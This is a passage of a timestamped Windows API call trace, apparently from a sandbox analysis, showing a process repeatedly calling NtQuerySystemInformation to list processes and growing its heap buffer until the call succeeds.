NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.675] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0129.675] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.675] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0129.675] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.676] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0129.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.676] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0129.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.676] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0129.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.677] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0129.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.677] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0129.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.677] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0129.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.678] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0129.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.678] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0129.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.679] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0129.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.679] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0129.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.680] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0129.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.680] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0129.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.681] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0129.681] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.681] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0129.681] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.682] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0129.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.682] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0129.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.683] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1a3a8) returned 0x1cda08c0 [0129.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.684] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1b3cc) returned 0x1cda08c0 [0129.684] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.684] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1c3f0) returned 0x1cda08c0 [0129.684] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.685] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1d414) returned 0x1cda08c0 [0129.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.685] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1e438) returned 0x1cda08c0 [0129.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.686] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1f45c) returned 0x1cda08c0 [0129.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.686] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x20480) returned 0x1cda08c0 [0129.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.687] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x214a4) returned 0x1cda08c0 [0129.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.687] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x224c8) returned 0x1cda08c0 [0129.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0129.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0129.797] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0129.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0129.798] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0129.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0129.798] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0129.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.798] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0129.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.799] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0129.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.799] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0129.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.799] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0129.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.800] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0129.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.800] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0129.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.800] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0129.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.801] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0129.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.801] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0129.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.801] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0129.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.802] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0129.802] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.802] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0129.802] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.803] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0129.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.803] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0129.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.804] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0129.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.804] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0129.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.805] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0129.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.805] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0129.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.806] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0129.806] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.806] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0129.806] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.806] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0129.807] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.807] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1a3a8) returned 0x1cda08c0 [0129.807] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.808] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1b3cc) returned 0x1cda08c0 [0129.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.809] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1c3f0) returned 0x1cda08c0 [0129.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.809] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1d414) returned 0x1cda08c0 [0129.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.810] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1e438) returned 0x1cda08c0 [0129.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.810] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1f45c) returned 0x1cda08c0 [0129.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.811] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x20480) returned 0x1cda08c0 [0129.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.811] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x214a4) returned 0x1cda08c0 [0129.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.812] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x224c8) returned 0x1cda08c0 [0129.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0129.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0129.995] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0129.996] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0129.996] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0129.996] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0129.996] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0129.996] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.997] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0129.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.997] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0129.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.997] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0129.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0129.998] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0129.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.998] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0129.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.999] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0129.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.999] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0129.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.999] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0130.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.000] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0130.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.000] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0130.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.001] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0130.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.001] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0130.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.001] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0130.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.002] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0130.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.003] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0130.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.003] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0130.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.003] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0130.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.004] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0130.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.005] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0130.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.005] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0130.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.006] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0130.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 